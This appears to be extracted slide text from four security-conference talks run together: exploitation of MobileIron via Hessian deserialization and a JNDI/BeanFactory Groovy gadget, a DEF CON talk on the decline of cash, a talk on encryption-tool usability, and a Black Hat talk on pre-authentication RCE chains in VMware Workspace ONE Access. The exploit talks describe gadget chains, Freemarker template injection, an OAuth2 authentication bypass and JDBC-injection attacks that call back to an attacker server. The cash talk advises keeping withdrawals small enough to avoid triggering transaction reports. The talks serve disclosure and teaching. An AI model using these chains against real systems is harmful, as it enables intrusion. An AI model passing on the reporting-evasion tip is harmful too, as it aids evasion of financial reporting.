StringRefAddr("name", "orange")); Leverage the Local Factory • org.apache.naming.factory.BeanFactory (Tomcat 6-8) • If there is a forceString in reference, then: • Parse the forceString as key-value pairs • Invoke the value as a setter to set the specified field, for example: ResourceRef ref = new ResourceRef( "tw.orange.User", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "name=setName")); ref.add(new StringRefAddr("name", "orange")); Leverage the Local Factory • org.apache.naming.factory.BeanFactory (Tomcat 6-8) • If there is a forceString in reference, then do: • Parse the forceString as key-value pairs • Invoke the value as a setter to set the specified field, for example: ResourceRef ref = new ResourceRef( "tw.orange.User", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "name=setUsername")); ref.add(new StringRefAddr("name", "orange")); tw.orange.User().setName("orange") Method Invoke javax.el.ELProcessor().eval("evil…") • Tomcat 8.5+ only, our remote version is 7.0.92 groovy.lang.GroovyClassLoader().parseClass("…") • Make Meta Programming great again! • Groovy 2.0+ only, our remote version is 1.5.6 groovy.lang.GroovyShell().evaluate("…") https://github.com/welk1n/JNDI-Injection-Bypass/pull/1 New Groovy chain! Work on all versions Bypass with Local Reference 1. Hessian Deserialization triggers: • A connection to Evil LDAP Server 2. Evil LDAP server replies: • ?????? Hacker MobileIron Evil Server 1 2 Payload LDAP Connection ?????? Bypass with Local Reference 1. Hessian Deserialization triggers: • A connection to Evil LDAP Server 2. Evil LDAP server replies: • Local Factory org.apache.naming.factory.BeanFactory Hacker MobileIron Evil Server 1 2 Payload LDAP Connection Local Factory Bypass with Local Reference 1. Hessian Deserialization triggers: • A connection to Evil LDAP Server 2. Evil LDAP server replies: • Local Factory org.apache.naming.factory.BeanFactory • Local Object Reference Groovy.shell.GroovyShell with properties: • forceString is foo=evaluate • foo is “uname -a”.execute() Hacker MobileIron Evil Server 1 2 Payload LDAP Connection Local Factory Object Reference Bypass with Local Reference 1. Hessian Deserialization triggers: • A connection to Evil LDAP Server 2. Evil LDAP server replies: • Local Factory org.apache.naming.factory.BeanFactory • Local Object Reference Groovy.shell.GroovyShell with properties: • forceString is foo=evaluate • foo is “uname -a”.execute() 3. Factory loads and populates Object 4. Boom! RCE! Hacker MobileIron Evil Server 1 2 Payload LDAP Connection Local Factory 3 4 Object Reference Bypass with Local Reference 1. Hessian Deserialization triggers: • A connection to Evil LDAP Server 2. Evil LDAP server replies: • Local Factory org.apache.naming.factory.BeanFactory • Local Object Reference Groovy.shell.GroovyShell with properties: • forceString is foo=evaluate • foo is “uname -a”.execute() 3. Factory loads and populates Object 4. Boom! RCE! Hacker MobileIron Evil Server 1 2 Payload LDAP Connection Local Factory 3 4 Object Reference ❌ Bypass with Local Reference 1. Hessian Deserialization triggers: • A connection to Evil LDAP Server 2. Evil LDAP server replies: • Local Factory org.apache.naming.factory.BeanFactory • Local Object Reference Groovy.shell.GroovyShell with properties: • forceString is foo=evaluate • foo is “uname -a”.execute() 3. Factory loads and populates Object 4. Boom! RCE! Hacker MobileIron Evil Server 1 2 Payload LDAP Connection Local Factory 3 4 Object Reference ❌ Bypass with Local Reference 1. Hessian Deserialization triggers: • A LDAP connection to Evil RMI Server 2. Evil LDAP server replies: • Local Factory org.apache.naming.factory.BeanFactory • Local Object Reference Groovy.shell.GroovyShell with properties: • forceString is foo=evaluate • foo is “uname -a”.execute() 3. Factory loads and populate Object 4. Boom! RCE! Hacker MobileIron Evil Server 1 2 Payload RMI Connection Local Factory 3 4 Object Reference ❌ 重·讀·論·文。 為什麼補這句話? Git Blame Git Blame Exploit with JNDI Bypass 1. Hessian Deserialization triggers: • A connection to Evil LDAP Server 2. Evil LDAP server replies: • Local Factory org.apache.naming.factory.BeanFactory • Local Object Reference Groovy.shell.GroovyShell with properties: • forceString is foo=evaluate • foo is “uname -a”.execute() 3. Factory loads and populate Object 4. Boom! RCE! Hacker MobileIron Evil Server 1 2 Payload LDAP Connection Local Factory 3 4 Object Reference Exploit with New Gadget 1. Hessian Deserialization triggers: • Local Groovy gadgets • Boom! RCE! Hacker MobileIron 1 Payload Demo https://youtu.be/hGTLIIOb14A 漏洞回報 orange_8361 [email protected] Thanks! https://blog.orange.tw
pdf
1 The Death of Cash The Death of Cash The Loss of Anonymity and Other Dangers of Modern Financial Systems Defcon 16 Las Vegas 2008 2 Agenda Agenda Introduction Bold Claims Why “THEY” Hate Cash Utopian and Dystopian Versions of the Cash Free Society CTRs and SARs Other Regulations Regarding Cash The Liquidity Danger Exceptions Alternatives 3 Shameless promotional plug Shameless promotional plug Tony Howlett President of Network Security Services, Inc. CISSP, GSNA. Author of “Open Source Security Tools” and numerous articles (Google “Tony Howlett”). Co-Host of “Fearless Security” blog on Windowsitpro.com. Infosec consultant to the Banking industry. 19 years of experience building and managing networks. 4 The Death of Cash The Death of Cash Synopsis and Preview of my next book “THE DEATH OF CASH” due out in 2009. How government forces, strong crypto and globalization of financial systems will conspire to eliminate cash from our economy. Why this is a BAD thing? Evaluation of pros and cons of next generation financial systems. 5 Bold claims Bold claims Cash, as a store of financial value will be dead in the US within 20 years. Old Theory: The government will outlaw cash, then only the criminals will have cash. New Theory: Cash will die a natural death; we will willingly abandon it for more convenient financial tools. 6 Why? Why? Credit/debit is convenient. Credit/debit seems more modern, techy. Credit/debit is easy to spend. Credit/debit is being pushed relentlessly by everyone from the government to banks to big business. 7 Why is this a Why is this a BAD BAD thing? thing? Loss of anonymity. Loss of control to government, banks, big business. Bad for your financial health. Bad for national security?... 8 What is cash? What is cash? Paper Money Coinage – Some coins cost more to produce than they are actually worth (1c=1.23c, 5c= 5.73c). Checks – Treated the same as cash, since they are hard to track, hard to verify, and not really a part of the global electronic financial network. That may change with the Check21 law. In the near future, all checks will required to be converted to electronic images, electronically rendered and then destroyed. Good bye Float! 9 Why the government hates cash Why the government hates cash It’s dirty (germs, coke, bird flu). Expensive to make, wears out quickly. Relatively easy to counterfeit (even though the govt. is one ahead in the game). Most importantly, anonymous (hard to track!). 10 Why banks hate cash Why banks hate cash Hard to handle, easy to steal. They have to track it differently, lots of special requirements and regulation. They don’t make anything on the handling of it. In fact, they have to pay for the clearing of paper checks. 11 Why Banks hate cash Why Banks hate cash Most of all, banks make money on every debit card transaction. Each bank gets some, plus the intermediary network; the businesses pay the fees, raising your prices to compensate. This amounts to about a 1-3% weight on our economy. All for giving us access to our “money”. 12 Why Big Business hates cash Why Big Business hates cash Again, cash and checks are expensive to handle. People tend to spend more when they use a card. You don’t run out of “card” in your wallet. E-transactions create credit card profiles and credit bureau reports and make for useful marketing tools. 13 The Debit/Credit Society The Debit/Credit Society We are going through a transformation from a hard asset culture (gold standard, coins worth money) to a debit/credit culture Your net worth is carried on a electronic balance sheet on a server somewhere. What happens to your net-worth if those systems are down or hacked? 14 The Sub-Prime Economy? The Sub-Prime Economy? This is blurring the line between what you owN and what you owE Example: check bouncing protection (which is really just a high interest loan), Home Equity lines of credit. Moving us as individuals towards the model of high finance, highly leveraged, nobody really knows who owns what. We see how that worked out for them (the mortgage crisis, the SL&L bailout, etc) 15 The Wonderful Gift Cards The Wonderful Gift Cards Why Gift cards suck.. Cant be used universally (usually tied to a store) They expire Sometimes have “fees” for every use The phantom revenue Purchases made with gift cards usually exceed the value of the card Many cards are never redeemed. Why they don’t suck.. Easy to buy, no thought required (remember “it’s the thought that counts”? Good for online purchases (itunes, second life money.. And pron!) 16 Industry PR campaign against cash Industry PR campaign against cash The Visa and MC ad campaign’s goal is to vilify cash and move everyone to a credit/debit lifestyle. Is paying with cash really harder than swiping your card, entering your pin, selecting cash back, ok’ing the transaction total, etc? The whole point is to make cards cool, cash uncool and collect a small % of every transaction. Why is Microsoft looking into its own e-payment system? It knows a good business when it sees one! 17 The The New New Monopoly Monopoly The new version of the famous board game has done away with play money. Now you use a card to swipe for your Real estate purchases. Same thing with “LIFE” and several others In real “life”, our children won’t know what cash is. 18 The Utopian version of the Cash Free Society The Utopian version of the Cash Free Society No more petty crime. No more organized crime. No more terrorism. No more tax returns. 19 The Dystopian version The Dystopian version The government can follow you anywhere. Imagine trying to move about with out cash. No gas, no hotels, no purchases of any kind. Marketing companies have an exact profile on you. The IRS doesn’t go away, it just has had more direct access to your money. Organized crime evolves to becomes the “banker” of the underground, providing a facility for illegal transactions 20 US Code Title 18, Part 1, Chapter 95 US Code Title 18, Part 1, Chapter 95 Do you realize that it is illegal to transport over $10,000 in cash into or out of the US without declaring it? It is considered money laundering and is punishable by up to a $500,000 fine and/or 20 years in jail. 21 Cash Transaction Reports Cash Transaction Reports The Banks have been deputized by the government to catch criminals by monitoring the cash supply The Patriot Act and the Bank Secrecy Act requires banks to report “suspicious” transactions. What counts as “suspicious”? Any cash transaction over $10,000 must be reported in a Cash Transaction Report (CTR). This also applies to many cash businesses (car dealerships, casinos, etc) for transactions under $10K. 22 More on More on CTRs CTRs But, in reality, the actual amount they track is around $3,000. This unpublished limit is used to catch those using multiple transactions to stay under official limit. Banks use special software to track cash deposits across time and at multiple branches, etc. 23 SAR s SAR s Not the Asian Flu Banks are also required by law to file a Suspicious Activity Report (SAR) on any kind of cash or financial transaction that they deem suspicious for ANY REASON. Even those under the limits. They can’t get in trouble for filing, but they can if they miss something. Since the onus is on the banks to file, they tend to err on side of filing rather than not. 24 Financial profiling Financial profiling What counts as suspicious? It is totally arbitrary I like to go to Las Vegas. If I withdraw a large amount of cash to play with, does that make me a criminal? If I don’t like the government knowing where I travel by air, does that make me a terrorist? Using cash to buy an airline ticket is a “flag”, along with one-way tickets, for HLS dept reports 25 Catching Catching Eloit Eloit Spitzer Spitzer Do you remember the fate of our erstwhile governor of NY and former star prosecutor of corruption caught using high dollar call girls? How was he caught? Laid low ( no pun intended) by a SAR which was filed on him as he wire transferred money to pay for his prostitutes! 26 Why Strong Crypto is Why Strong Crypto is not not our our friend (in this case) friend (in this case) The eventual e-currency system will probably be implemented using some form of strong crypto. Imagine something like a smart card with your whole personal net-worth on it. Your Personal Credit Meter. Imagine using nothing but E-dollars. Modern Crypto is based on tough math problems…We all know what computers are getting faster and faster at doing (not just playing video games). 27 Why Strong Crypto is Why Strong Crypto is not not our our friend (in this case) friend (in this case) Breakthroughs in technology could undermine the whole financial system. Example: Quantum Computing. That’s not counting other hacking , cracking and other e-mischief. Imagine the web without SSL… Its a lot easier to steal a zillion 0 and 1s than a huge bunch of cash. 28 The coming Liquidity Crisis The coming Liquidity Crisis A cash free society is also a danger to national security. How? Our economic transaction networks are becoming more and more vulnerable to an electronic outage as we depend less and less on hard cash. The cashless society may make for convenience and smoother transaction processes, but it does not weather crisis well. No matter if the crisis is accidental or intentional. 29 Liquidity Crisis example Liquidity Crisis example On August 5th, 2007, a large portion of Wells Fargo Bank’s system went down. Most branches had no access to their core system and lost most bank functionality. They were crippled. They were unable to cash checks unless they knew you and even then only for small amounts. 30 The new Liquidity Crisis The new Liquidity Crisis Of course, ATM + debit cards didn’t work, either. Checks Bounced, Bill Payments weren’t sent There was no way of overriding this because of built-in “safeguards”. This meant: No gas No groceries No restaurant meals No hotel check in or plane flights… Or anything else normally paid for with a debit card. Welcome to the Cashless Society! 31 The new Liquidity Crisis The new Liquidity Crisis During regional disasters, it may impossible to use debit and credit cards, due to lines being down. It may also be impossible to get cash, since ATM machines might be unable to “phone home”. Even if they are up, they will soon run out of cash. During Hurricane Rita, a total non-disaster for the Houston area, ATM machines near me were soon empty. I live in an interior suburban neighborhood, not near any major route. 32 Liquidity Terrorists Liquidity Terrorists Imagine a concerted attack on 2 or 3 of our largest banks. A large portion of the US would be unable to transact business. Take away our consumerism…MASS PANIC! 33 Use of cash is declining sharply Use of cash is declining sharply Non-cash payments exceeded cash in 2007, for the first time. Use of checks is also declining sharply. Debit/Credit cards are now the dominant forms of payment in the U.S. 34 Exceptions: Where Cash is still King Exceptions: Where Cash is still King Vegas, baby! (not for long…) Border areas. Anywhere there is a large immigrant population. Why? Because they want to remain under the radar of the government (another reason the government hates cash!). 35 What this means for the Future What this means for the Future… … Your financial life will be reduced to a set of numbers stored in a computer somewhere More emphasis on this “personal financial algorithm” rather than common sense and experience. Why? It helps big corporations and financial institutions avoid law suits and use low cost employees rather than experienced professionals who will be making major decisions about your life. 36 What this means to you What this means to you… … There is already a single e-number that has a huge influence on your life.. Your credit score. Think about the things that can be provided or denied you based on this: Housing Automobiles Access to credit Employment (yes, many corporations use credit reports now as a factor in hiring) 37 What can you do? What can you do? Use cash wherever you can, whenever you can, while you still can. You may find you spend less! I’m not saying forgo the e-economy; that’s pretty much impossible at this point unless you living in a shack. Just try using cash more often. Leave less of an e-trail of yourself. In a climate where calling a foreign country or being an large stakes gambler can make you a “person of interest”, try to sculpt your e-profile to only the positive and benign things. 38 What can you do? What can you do? Keep a cash stash for emergencies, $1-10K (don’t get or use it all at once or you may trigger a CTR). Keep alternative value stores for a rainy day (gold, vintage X-men comics, whatever..). Use alternate methods of payment (PayPal, e-gold, barter). Lindens?? Risky! 39 Questions / Comments? Questions / Comments? Email me at: [email protected] This presentation may be downloaded at: www.netsecuritysvcs.com/presentations/defcon16/
pdf
Alice and Bob are Really Confused David Huerta - DEF CON 23 Photo credit: Robert Young such crypto parties wow nyc much codes so cypherpunks very google trolling many credits: Atsuko Sato Alice wants to talk to Bob, but Eve is being nosey. Alice hears about crypto, goes to a crypto party to learn how to crypto. Sec in the City • 24+ Cryptoparties as of July 2015 • Varying communities with varying skill levels • Hackerspaces (Alpha One Labs, Fat Cat Fab Lab, NYC Resistor) • Libraries (Brooklyn Public Library, Verso Books) • Art Galleries (Calyx Institute, Babycastles) • Co-working spaces (Harlem Creative Space) • Universities (CUNY Graduate Center, Columbia) Photo credit: Roman Kruglov This is Your New Bible This is canon, everything that came after it is slash fanfic. Key Lessons from 1992 • Modelessness: This is why CAD software is always awful; You want to limit the modes a user has to remember they’re in. BUT with a private/un-private set of situations that can’t always be avoided and should be handled carefully. • Perceived Stability: Your back-end might be solid but if the front-end isn’t, people will assume the whole thing is broken and Seal Team 6 is on their way to bust down your door. • User Testing: Prototype your software and ask people to try it out, change design accordingly. • Metaphors: No one uses a key to unlock a key in the real world. Key Lessons from 2015 • Forgive[less]ness: UX tends to focus on allowing people to undo things or bring things back to an original state. Mistakes in crypto are not usually forgivable. • Too many tools: If a chain of tools has to be installed in a particular order people will not do that. If too many steps involved in downloading/verifying/install, multiply by number of tools and you have a problem. • False hope: If there’s any chance something could go wrong or some feature might not be available, warn the user. • Confusion through curiosity: Even if you perfectly illustrate a mental model of how something works, the internet will fuck it up. OMG RTFM!!!!111 OMGWTFBBQ RTFHIG!… .tumblr.com Constructive Criticism Photo credit: Tambako the Jaguar Telegram • DISCLAIMER: Putin has more money than you. Roll your own phat blunts, but don’t roll your own crypto. • DISCLAIMER: No out-of-band verification like in OTR. • EVERY APP NEEDS THIS THO: Alerts other party when screenshot is taken. • Hard to tell if your chat is encrypted or not, which is a problem… One of these is end-to-end Mode Made Obvious…ish Mode Made Obvious…ish Signal • Mystery blue button (FIXED). • Selecting a contact immediately calls them (FIXED). • Non-functional on iPod Touch despite lack of need for phone bits (FIXED). Signal • Call button (corded phone handset icon) still unlabeled, might be a generational issue post-Snake People. • Privacy Settings screen leaves more mysteries: • “Screen security” • I can’t see the whole fingerprint (and can we stop calling it that in devices with fingerprint readers)? Peerio • Designed to only work end-to-end encrypted, no other insecure modes to accidentally end up in. • Human memory is great at memorizing strings of words, but not if they only type them once and use a short PIN instead. • Requires anyone you try to contact to approve your ability to contact them; UI doesn’t communicate this (yet; this is being worked on). Interoperability :( Interoperability :( • Axolotl: Used by Signal. • Minilock: Used by Peerio. • OTR: Used by a some things. • PGP: Used by some other things. “OTR” • Really “Pidgin or Adium for desktops, with the OTR add-on or plugin but ChatSecure if you’re on Android and also you need a Jabber or mid-90s startup IM account from somewhere unspecified. Also it’ll be called XMPP instead of Jabber in Pidgin.” • XMPP accounts end up coming from the CCC and their unsigned certificate. Unsigned certificates scare everyone. Photo credit: Yves Roy Pidgin • Unlike Thunderbird w/ gandi.net, Pidgin lacks an on- boarding process for creating an account, just the ability to add a pre-existing account. • People will call it Jabber, Pidgin will call it XMPP. • Weird “Create this new account” checkbox always needs explanation. Pidgin • After creating an account using text box, the option is still there for some reason. • No noticeable way to change existing (lol six char) account password. • “New mail notifications.” At this point, Pidgin knows nothing about my email account. Pidgin • SSL/TLS encryption not differentiated from OTR encryption in UI. • OTR settings are buried in plugin config options. • Seriously though, axe the Create the new account checkbox. Pidgin • Process of installing OTR varies between Windows and Linux and between Linux distros (well, package systems). • Plan to have OTR in Pidgin installed by default began in 2013. Slated as issue for Pidgin 3.0 milestone, 55% of milestone issues complete as of July 2015: https:// developer.pidgin.im/ticket/ 15513. ChatSecure ChatSecure PGP Photo credit: Gamerscore Blog Lessons from 1999 • Add to your reading list: Why Johnny Can’t Encrypt by Alma Whitten, J.D. Tiger • Users in 1999 user testing ran into some of the same problems at Cryptoparties in 2015 Photo credit: K W Reinsch Implementation Problems • Too Many Tools: Fully open-source install on OS X cocktail is GPG Tools, Thunderbird, Enigmail. • Too Many Different Tools: In [NYC] Cryptoparties, more people know about running PGP in OpenBSD than using pgp4win for Windows. • Order of installation has to be explained explicitly. Implementation Problems • New (after Hotmail/Yahoo/Gmail) Internet users have never used email outside a website. • People have decades+ old email accounts now, Thunderbird chokes on loading email via IMAP, slowing down everything to postone-to-never point. • The way POP mail works in the age of multiple devices scares everyone. Implementation Problems • Latest Thunderbird updates are mostly bug fixes, basically abandonware from a design perspective. • Tiny Thunderbird text is tiny and getting tinier as hi-res screens grow. • PGP and S/MIME settings both using the same verbs to describe what each do in the same window. • Nothing to indicate the subject line is encrypted. Photo credit: Sasquatch I PGP in the Browser • Yahoo End-to-End: Browser extension, adds PGP functionality on top of webmail. • Google End-to-End: ^ See above. • WhiteoutMail: ^ Ditto. • Mailvelope: ^ Yup. In-browser PGP Advantages • User is already working in a familiar interface and workflow. • Everyone has a web browser installed already. • Chromebooks now the fastest-growing segment of PC market, The Register - http:// www.theregister.co.uk/2013/07/11/ chromebooks_fastest_growing_pc_market/ In-browser PGP Disadvantages • PGP Sensible Design For 1991 • Private keys as files: One user, one computer, inside a locked house. No automatic cloud backup software. No constant/fast internet connection between attacker and OS. • Key servers: No https-encrypted sites to post public key to. No variety of https-encrypted social media to transmit public key. No other encrypted communication basically at all. • RSA-based keys: Public keys long enough to pass tl;dr threshold, fingerprints—err, key IDs used for verification. Encryption ran slowly, but bearably in C. ECC still experimental, unvetted. Challenging Design For 2015 • Private keys as files: Backup software means your private key may accidentally get copied to cloud. Laptops get lost/stolen. Migrating keys from one machine to the next is not a thought-out process. Browser plugins holding private keys is concerning. • Key servers: Many use cases for PGP now involve sending email to a person only known by a Twitter/social media account, w/o the possibility of in-person signing. Directories like Keybase provide a contemporary use case for verifying identity. • RSA-based keys: In-browser PGP means JavaScript PGP. Performance is significantly lower than ECC-based alternatives like NaCL, because math, idk. Slowness == users rage quit. Following Up • Twitters: @huertanix and @cryptopartynyc • Web: http://www.davidhuerta.me • Peerio: huertanix • PGP Public Key ID (aka fingerprint): 1482 F3BF 3F16 6BD4 3525 D55E 35D7 26BD AE09 F328 • In person at the next NYC cryptoparty!
pdf
#BHUSA @BlackHatEvents IAM Whoever I Say IAM Infiltrating Identity Providers Using 0Click Exploits Steven Seeley of 360 Vulnerability Research Institute #BHUSA @BlackHatEvents Information Classification: General > whoami Focusing on Web, Application & Cloud 0-day Research: • Security Researcher for 360 Vulnerability Research Institute • Teaching the "Full Stack Web Attack" class Speaker and/or trainer at: • Black Hat / BlueHat / HiTB / BSides Selected highlights: • Discovered over 1500+ vulnerabilities with a high/critical impact • Pwn2Own contestant in 2022, 2021 and team winner in 2020 #BHUSA @BlackHatEvents Information Classification: General Agenda Introduction • What is Identity and Access Management (IAM)? • Authentication vs Authorization Past Attacks Against IAM Solutions • Oracle Access Manager (CVE-2021-35587) • ForgeRock OpenAM (CVE-2021-35464) • VMware Workspace ONE Access (CVE-2020-4006) Target Selection & Vulnerability Discovery • Discovering CVE-2022-22954 • Discovering a full chain RCE known as Hekate Conclusions #BHUSA @BlackHatEvents Information Classification: General What is IAM? The integration of Identity and Access Management into a single solution. Identity (Authentication) The validation that I am who I say I am. Typically this is done with password authentication and federated authentication such as Single Sign On (SSO) technology • Security Assertion Markup Language (SAML) Access (Authorization) The verification of privileges or permissions to a given resource from an already authenticated user. • Open Authorization (OAuth2) • Java Web Token (JWT) for data exchange #BHUSA @BlackHatEvents Information Classification: General What is IAM? Its a prime target to attackers! 1. Full control of authentication and authorization 2. Must be externally exposed on the perimeter 3. Must use complicated technology stacks and protocols Breaching an IAM on a perimeter means breaching several other systems controlled by the organization! #BHUSA @BlackHatEvents Information Classification: General #BHUSA @BlackHatEvents Information Classification: General Federated Authentication – SAML #BHUSA @BlackHatEvents Information Classification: General Federated Authentication – SAML #BHUSA @BlackHatEvents Information Classification: General Federated Authentication – SAML #BHUSA @BlackHatEvents Information Classification: General Federated Authentication – SAML #BHUSA @BlackHatEvents Information Classification: General Federated Authentication – SAML #BHUSA @BlackHatEvents Information Classification: General Federated Authentication – SAML #BHUSA @BlackHatEvents Information Classification: General Authorization – OAuth2 #BHUSA @BlackHatEvents Information Classification: General Authorization – OAuth2 #BHUSA @BlackHatEvents Information Classification: General Authorization – OAuth2 #BHUSA @BlackHatEvents Information Classification: General Vulnerability Types Authentication - Server-side attacks • XML Token parsing (XXE, SSRF, XSLT etc.) • Signature verification bypass (XSW, XML Canonicalization, etc.) These are server-side attacks that target either the IdP or SP directly. Authorization - Client-side attacks • Access token/authorization code leaks (XSS, CSRF, Open Redirect, Click Jacking, etc.) These are typically client-side attacks that attempt to leak sensitive data. Past Attacks Against IAM Solutions #BHUSA @BlackHatEvents Information Classification: General Oracle Access Manager (OAM) This is Oracles flagship IAM solution and comes bundled with Oracle's WebLogic AS. ForgeRock OpenAM Originally called OpenSSO, OpenAM is a fork of OpenSSO and was maintained and developed as an open-source project by ForgeRock. In 2016 it was renamed to ForgeRock AM and became a closed source offering. VMWare Workspace ONE Access Formally known as VMWare Identity Manager (vIDM) is VMWare's flagship IAM solution and is relatively new yet still used by several Fortune 500 companies. #BHUSA @BlackHatEvents Information Classification: General CVE-2021-35587 Oracle Access Manager Deserialization of Untrusted Data Discovered by Jang and Peterjson Limitations of the vulnerability: • None OAM 11g impacted but is EOL and the OAM 12g with the latest patches isn't affected due to the removal of the vulnerable endpoint. Nothing for Oracle to do! #BHUSA @BlackHatEvents Information Classification: General CVE-2021-35464 ForgeRock OpenAM Deserialization of Untrusted Data #BHUSA @BlackHatEvents Information Classification: General CVE-2021-35464 ForgeRock OpenAM Deserialization of Untrusted Data Discovered by Michael Stepankin Limitations of the vulnerability: • None Patched in ForgeRock AM 7.0 by removing the vulnerable Jato library that was originally developed by Sun Microsystems. Also patched by OpenAM #BHUSA @BlackHatEvents Information Classification: General Patch ForgeRock OpenAM Deserialization of Untrusted Data #BHUSA @BlackHatEvents Information Classification: General CVE-2020-4006 VMWare Workspace ONE Access Command Injection #BHUSA @BlackHatEvents Information Classification: General #BHUSA @BlackHatEvents Information Classification: General VMWare Workspace ONE Access Command Injection Discovered by: NSA Limitations of the vulnerability: • Required authentication as an Administrator • Required access to port 8443 (not typically exposed externally) • Spring CSRF protection Yet, it was exploited in the wild (ITW) in 2020! CVE-2020-4006 #BHUSA @BlackHatEvents Information Classification: General Patch VMWare Workspace ONE Access Command Injection #BHUSA @BlackHatEvents Information Classification: General Patch VMWare Workspace ONE Access Command Injection Target Selection & Vulnerability Discovery #BHUSA @BlackHatEvents Information Classification: General Target: VMWare Workspace ONE Access • Technical debt (Originally developed by TriCipher) • Complex technology stack and protocols • Exposed externally • Single point of failure for an enterprise • Exploited ITW in 2020 • No past pre-authenticated RCE • Used by Fortune 500 #BHUSA @BlackHatEvents Information Classification: General Discovering CVE-2022-22954 Just routine testing… #BHUSA @BlackHatEvents Information Classification: General Discovering CVE-2022-22954 #BHUSA @BlackHatEvents Information Classification: General Discovering CVE-2022-22954 Freemarker template injection! • Vulnerability resides in the customError.ftl template file • The vulnerable sink is `errorObj?eval` #BHUSA @BlackHatEvents Information Classification: General UiErrorController contains a default error handler! Discovering CVE-2022-22954 #BHUSA @BlackHatEvents Information Classification: General Discovering CVE-2022-22954 #BHUSA @BlackHatEvents Information Classification: General Discovering CVE-2022-22954 errorMessage is placed in errorObj and passed directory to customError.ftl #BHUSA @BlackHatEvents Information Classification: General How did we land in this error page? Spring implements StrictHttpFirewall by default since version 4.2.4 to block suspicious requests! Discovering CVE-2022-22954 #BHUSA @BlackHatEvents Information Classification: General Source: https://stackoverflow.com/questions/13087436/freemarker-parse-a-string-as-json/13090357#13090357 #BHUSA @BlackHatEvents Information Classification: General Exploiting CVE-2022-22954 Questions: • Do we need to escape the Freemarker sandbox? • Can we find a thrown Exception containing attacker-controlled data? Spring MVC configuration is typically performed in code. The configuration can be found in the endusercatalog.ui.config.WebConfig class. #BHUSA @BlackHatEvents Information Classification: General Exploiting CVE-2022-22954 Sandbox enabled by default however setConfiguration is missing! #BHUSA @BlackHatEvents Information Classification: General Exploiting CVE-2022-22954 Disable the unrestricted resolver for the new built-in too! disable ?new disable debug #BHUSA @BlackHatEvents Information Classification: General Exploiting CVE-2022-22954 Questions: • Do we need to escape the Freemarker sandbox? No! new built-in available! • Can we find a thrown Exception containing attacker-controlled data? Now, we need to reach a pre-authenticated code path that triggers an Exception containing unfiltered attacker controlled data! Let's target Spring Interceptors! #BHUSA @BlackHatEvents Information Classification: General Exploiting CVE-2022-22954 WebConfig sets up interceptors for the application using specific URI matching #BHUSA @BlackHatEvents Information Classification: General deviceUdid and deviceType are used to build an authentication context… Exploiting CVE-2022-22954 #BHUSA @BlackHatEvents Information Classification: General Exploiting CVE-2022-22954 Attacker input used directly in a thrown Exception! #BHUSA @BlackHatEvents Information Classification: General Exploiting CVE-2022-22954 Questions: • Do we need to escape the Freemarker sandbox? No! new built-in available! • Can we find a thrown Exception containing attacker-controlled data? Yes, inside of AuthContextPopulationInterceptor Results: ✓ A single GET request for delivery ✓ Works on default installation ✓ Pre-authenticated ✓ Worked against VMWare's cloud #BHUSA @BlackHatEvents Information Classification: General #BHUSA @BlackHatEvents Information Classification: General Hekate Hekate is a triple bug chain RCE exploit: Server-side 1. Access Control Service Authentication Bypass (CVE-2022-22956) 2. DBConnectionCheckController JDBC Injection (CVE-2022-22957) 3. gatherConfig.hzn Privilege Escalation (CVE-2022-22960) Client-side 1. BrandingResource getBranding Information Disclosure (CVE-2022-22961) 2. DBConnectionCheckController CSRF (CVE-2022-22959) 3. gatherConfig.hzn Privilege Escalation (CVE-2022-22960) #BHUSA @BlackHatEvents Information Classification: General Access Control Service Auth Bypass The OAuth2TokenResourceController and OAuth2ActivateResource classes exposed two dangerous methods: 1. generateActivationToken 2. activateOauth2Client These two methods allows a remote attacker to obtain a valid client_secret with the permissions of an already existing OAuth2 client. To exploit this the target application needs to have default OAuth2 clients. #BHUSA @BlackHatEvents Information Classification: General #BHUSA @BlackHatEvents Information Classification: General Access Control Service Auth Bypass After exploiting this vulnerability, the attacker just uses a client_credentials grant for a complete authentication bypass! #BHUSA @BlackHatEvents Information Classification: General Access Control Service Auth Bypass After exploiting this vulnerability, the attacker just uses a client_credentials grant for a complete authentication bypass! #BHUSA @BlackHatEvents Information Classification: General Access Control Service Auth Bypass After exploiting this vulnerability, the attacker just uses a client_credentials grant for a complete authentication bypass! #BHUSA @BlackHatEvents Information Classification: General Access Control Service Auth Bypass After exploiting this vulnerability, the attacker just uses a client_credentials grant for a complete authentication bypass! #BHUSA @BlackHatEvents Information Classification: General Access Control Service Auth Bypass client_credentials code grant #BHUSA @BlackHatEvents Information Classification: General • The Java API used to connect to different database technologies. • JSR-221 specifies the API and states that • drivers must implement java.sql.Driver. • Increases attacker surface for attackers. Java Database Connectivity (JDBC) #BHUSA @BlackHatEvents Information Classification: General The class is mapped to dbCheck and removes CSRF protection! DBConnectionCheckController JDBC Injection #BHUSA @BlackHatEvents Information Classification: General The dbCheck method is exposed via a POST request, expecting a jdbcUrl DBConnectionCheckController JDBC Injection #BHUSA @BlackHatEvents Information Classification: General Input leads directly to DriverManager.getConnection sink! DBConnectionCheckController JDBC Injection #BHUSA @BlackHatEvents Information Classification: General Several attacks against JDBC have been documented • MySQL Driver Deserialization of Untrusted Data • MySQL Driver Load Data Infile File Disclosure • PostgreSQL Driver socketFactory/sslFactory Unsafe Unmarshalling • PostgreSQL Driver loggerLevel/loggerFile Arbitrary File Write • H2 Driver create alias/trigger Code Injection • DB2 Driver /JCR Connector JNDI Injection • Apache Derby Driver Deserialization of Untrusted Data • MySQL Fabric Driver XXE Exploiting JDBC Injection #BHUSA @BlackHatEvents Information Classification: General JDBC Injection is the new JNDI Injection ✓ MySQL Driver Deserialization of Untrusted Data ✓ MySQL Driver Load Data Infile File Disclosure ✓ PostgreSQL Driver socketFactory/sslFactory Unsafe Reflection ✓ PostgreSQL Driver loggerLevel/loggerFile Arbitrary File Write • H2 Driver create alias/trigger Code Injection • DB2 Driver /JCR Connector JNDI Injection • Apache Derby Driver Deserialization of Untrusted Data • MySQL Fabric Driver XXE Exploiting JDBC Injection #BHUSA @BlackHatEvents Information Classification: General Exploiting JDBC Injection Leveraging the MySQL Driver for Deserialization of Untrusted Data Authentication Bypass Outbound request to the attacker #BHUSA @BlackHatEvents Information Classification: General Exploiting JDBC Injection Leveraging the PostgreSQL Driver for Unsafe Unmarshalling Authentication Bypass Not required to be valid Outbound request to the attacker #BHUSA @BlackHatEvents Information Classification: General Exploiting JDBC Injection GET /poc.xml HTTP/1.1 HTTP/1.1 200 #BHUSA @BlackHatEvents Information Classification: General CommonsBeanUtils1 